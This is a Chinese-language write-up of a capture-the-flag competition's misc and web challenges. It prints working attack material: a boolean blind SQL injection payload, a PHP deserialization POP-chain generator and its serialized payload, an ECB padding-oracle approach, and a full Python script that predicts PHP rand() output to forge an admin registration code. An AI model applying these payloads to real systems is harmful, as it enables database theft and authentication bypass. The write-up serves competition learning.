侥幸苟了个12名。

MISC

签到题

公告里有。

(╯°□°)╯︵ ┻━┻

16进制转ascii然后对128取余。

第四扩展FS

foremost提取出压缩包,密码在图片的备注里面,解密,然后词频分析,排序

流量分析

题目有两个迷惑用的压缩包,实际没啥用,利用传输的私钥解密出http协议数据包,拿到flag。

安全通信

ECB模式的攻击,大晚上手撕的 没截图

主要是思路是通过填充agentid,使flag最后一位在一个组,不足16位

1
'\x00' * (16 - remainder)

也就是说当填充的agentid正好使flag最后一位自己一个分组的话

跟直接输入一个

1
}

加密之后的结果一样,然后一位一位增加agentid,让flag一位一位往后走,测了几位猜测是32位的hash值,懒得写脚本了,直接手撕的。

WEB

数据库的秘密

这道题目的注入字段是author,在hidden里面,另外sig是js计算的,不能直接post数据,不然会sig错误,

通过修改这里可以进行fuzz。发现过滤了database(),然后or和=之前不能填充,union select之前不能填充,直接查所有库

1
SELECT group_concat(schema_name) from information_schema.schemata

应该没法显注,没绕过去,直接布尔盲注

1
admin' && binary substr((select secvalue from ctf_key2),1,1)=111

脚本好像被其他题目的poc覆盖了,不再写了,手撕也可以,常规操作了。

专属链接

有个文件读取漏洞,读配置文件,读class文件

1
2
3
4
5
6
7
8
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = this.flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}

会发现这个函数可以通过post加密的email查询出加密的flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, this.p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", this.p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(1, key);
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
SecureRandom sr = new SecureRandom();
for (String email : emails)
{
String flag = "DDCTF{" + Math.abs(sr.nextLong()) + "}";
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte[] data = cipher.doFinal(flag.getBytes());
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);

加密email和加密flag的代码。

直接将代码提取生成加密的email。

1
D3291F5CB317AB0F82E275638732924121736458613C7C4024F5C54E9C07FF88

拿到加密的flag。
这里有个坑点,一般都是公钥加密,私钥解密,但是这个地方好像是提取的私钥加密,然后可以用公钥解密,坑了半天。。

用keytool从ks文件中提取出私钥,然后用openssl生成公钥,直接解密拿到flag。

注入的奥妙

题目一直提示编码,然后注释注释里还有一篇BIG5编码的表的连接。

可以通过fuzz找到可以使引号逃逸出来,然后waf很简单,它把黑名单字符替换为了空,双写绕过即可


注出来的数据
1
2
3
4
5
#sqli
#message,route_rules,users
#route_rules:id,pattern,action,rulepass
#message:id,name,contents
#users:id,username,uuid,oldid

在注出来的路由信息里拿到源代码.

接下来就是代码审计,会发现一个反序列化漏洞。

1
2
3
4
5
6
7
8
public function try($serialize)
{
$test = new Test();
$test->user_uuid = "dc130955-65fc-454e-b48d-da0e45efc6cc";
$test->fl = new Flag();
echo serialize($test);
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

在这里调用的一级一级往下走就能构造一个pop链就可以,需要注意的是这里是有命名空间的,在自己构造的时候也需要写上命名空间,不然序列化出来的数据不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
namespace Index\Helper;
class SQL
{
public $dbc;
public $pdo;
}
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
}
class Test
{
public $user_uuid;
public $fl;
public function __destruct()
{
}
}
$test = new Test();
$test->user_uuid = "dc130955-65fc-454e-b48d-da0e45efc6cc";
$test->fl = new Flag();
echo serialize($test);

生成的payload:

1
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"dc130955-65fc-454e-b48d-da0e45efc6cc";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}

拿到flag。

mini blockchain

根据逻辑可以知道在init()的时候bank_address默认有1000000币,然后转向了hack_address9999999币,自己还剩一个币,然后创立了一个没有任何信息的空区块。

现在需要做的是让shop_address拿到所有的币然后兑换钻石。

关键操作在create_transaction,可以理解为发起一次交易,通过代码可以知道只要爆破出一个符合sha256的就可以发起。

另外一个关键点是它以长链为准,那么现在的思路就是自己伪造发起一次交易,然后在增加链长,使其长于原链长度就可以将初始的100万币转向shop_address。

发起一次交易


添加个子区块增加链长,拿到第一个钻石,钻石在session中,获得第二个的方法一样,就是需要多构造一个区块。

我的博客

这道题目挺有意思的,看第一眼以为是LCTF的题目,实则不然,考点不同,也不能这么说,LCTF的非预期解也可以这样做。

首先知道rand()是可预测的,只要拿到至少31个数,后面就可以预测

1
$arr[32]=$arr[1]+$arr[29]

那么只要我拿到前面的32个随机数就可以预测后面的随机数,然后就需要找str_shuffle()和rand()之间的关系。

可以知道str_shuffle底层代码是根据传入的字符串长度来决定调用rand()的次数,然后根据随机数来决定字符串的打乱方式,也就是说我可以先访问网站获取到前32个随机数接着预测出后62个随机数,将随机数传入str_shuffle的底层代码,那么我们传入的后62个也就是web中调用str_shuffle里面调用rand()生成的那62个随机数,因为随机数相同,拿到的打乱后的字符串也相同,这里我用python重写了底层代码,方便操作,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#encoding: utf-8
import requests
import re
import random
from ctypes import *
def RAND_RANGE(__n,__min,__max,__tmax):
xx = __min + ( ( (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
return (int)(xx)
def getflag(arr,ss):
n_elems = len(ss)
if(n_elems<=1):
return
num = -1
kk = []
brr = []
for m in range(32,32+n_elems+1):
num = num+1
arr.append((arr[m-3]+arr[m-31])%2147483647)
brr.append(arr[num])
n_left = n_elems
n = -1
n_left = n_left-1
print n_left
sss = []
for s in ss:
sss.append(s)
x = 0
while (n_left):
n = n+1
rnd_idx = brr[n]
print rnd_idx
rnd_idx = RAND_RANGE(rnd_idx,0,n_left,2147483647)
print rnd_idx
if(rnd_idx!=n_left):
#print sss[rnd_idx],sss[n_left]
sss[rnd_idx],sss[n_left] = sss[n_left],sss[rnd_idx]
#print sss[rnd_idx],sss[n_left]
n_left = n_left-1
x = x + 1
print x
return sss
ars = []
# lines = open("zz.txt").readlines()
# for line in lines:
# ars.append(int(line))
headers={
'Connection': 'Keep-Alive'
}
s = requests.Session()
url='http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
for i in range(32):
r =s.get(url=url,headers=headers)
ars.append(int(re.search(r'id="csrf" value="(.+?)" required>', r.text, re.M|re.I).group(1)))
#r = s.get(url,headers=headers)
csrf=int(re.search(r'id="csrf" value="(.+?)" required>', r.text, re.M|re.I).group(1))
print csrf
payload = []
for i in range(32):
ars.append((ars[i+1]+ars[i+29])%2147483647)
print ars[32:]
print len(ars[32:])
sss = getflag(ars[32:],"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
key = ''.join(sss)
print key
def send(username,passwd,code):
data={
"csrf":csrf,
"username":username,
"password":passwd,
"code":code
}
r=s.post(url,headers=headers,data=data)
print(r.text)
send('xxxxxxxx','123456','admin###'+key[:32])

现在我拿到了admin权限

后面审计代码可以知道是一个sprintf的格式化字符串漏洞,常规操作了

1
2
3
4
5
6
7
8
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

没waf,直接显注

1
2
3
4
5
a8e79480
article,key,users
f14g